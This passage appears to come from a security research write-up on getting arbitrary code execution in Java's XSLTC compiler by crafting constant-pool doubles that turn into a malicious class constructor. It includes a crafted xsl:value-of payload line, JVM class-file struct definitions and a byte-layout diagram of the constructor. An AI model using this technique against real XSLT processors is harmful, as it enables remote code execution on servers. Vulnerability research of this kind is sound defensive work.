font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">jEb </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/></span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">xsl</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">-</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">of </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">select</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'ceiling(</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008344026969402015</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)'</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We constructed the initial header fields and are now in the interesting part of the class file definition: The methods table. This is where all methods of a class and their bytecode is defined. After XSLTC generates a Java class, the XSLT runtime will load the class and instantiate an object, so the easiest way to achieve arbitrary code execution is to create a malicious constructor. Let’s take a look at the methods table to see how we can define a working constructor:</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ClassFile</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> [...]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 methods_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> method_info methods</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">methods_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> [...]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">method_info </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 access_flags</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 name_index</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 descriptor_index</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 attributes_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> attribute_info attributes</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attributes_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attribute_info </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 attribute_name_index</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 attribute_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 info</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attribute_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Code_attribute</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 attribute_name_index</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 attribute_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 max_stack</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 max_locals</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 code_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 code</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">code_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 exception_table_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 start_pc</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 end_pc</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 handler_pc</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 catch_type</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> exception_table</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">exception_table_length</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 attributes_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> attribute_info attributes</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attributes_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The methods table is a dynamically sized array of </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">method_info</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> structs. Each of these structs describes the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flags</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> of the method, an index into the constant table that points to its name (as a utf8 constant), and another index pointing to the method descriptor (another CONSTANT_Utf8). </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This is followed by the attributes table, a dynamically sized map from Utf8 keys stored in the constant table to dynamically sized values stored inline. Fortunately, the only attribute we need to provide is the Code attribute, which contains the actual bytecode of the method. </span></p><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Going back to our payload, we can see that the start of the methods table is aligned with the tag byte of the next entry in the constant pool table. This means that the 0x06 tag of a CONSTANT_Double will clobber the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flag</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> field of the first method, making it unusable for us. Instead we have to create two methods: The first one as a basic filler to get the alignment right, and the second one as the actual constructor. Fortunately, the JVM ignores unknown attributes, so we can use dynamically sized attribute values. The graphic below shows how we use a series of CONST_DOUBLE entries to create a constructor method with an almost fully controlled body.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06 0x01</span><span style="background-color: #fce5cd; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 0xXX</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xXX</span><span style="background-color: #fce5cd; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 0xYY 0xYY</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: #9900ff; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x01</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: magenta; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #fce5cd; color: magenta; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x00 0x00 0x05</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x00 0x00 0x00</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #fce5cd; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #cfe2f3; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x01 </span><span style="background-color: #cfe2f3; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xCC 0xCC</span><span style="background-color: #cfe2f3; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #cfe2f3; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xDD 0xDD</span><span style="background-color: #cfe2f3; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #cfe2f3; color: #9900ff; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x03</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #c9daf8; color: magenta; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; 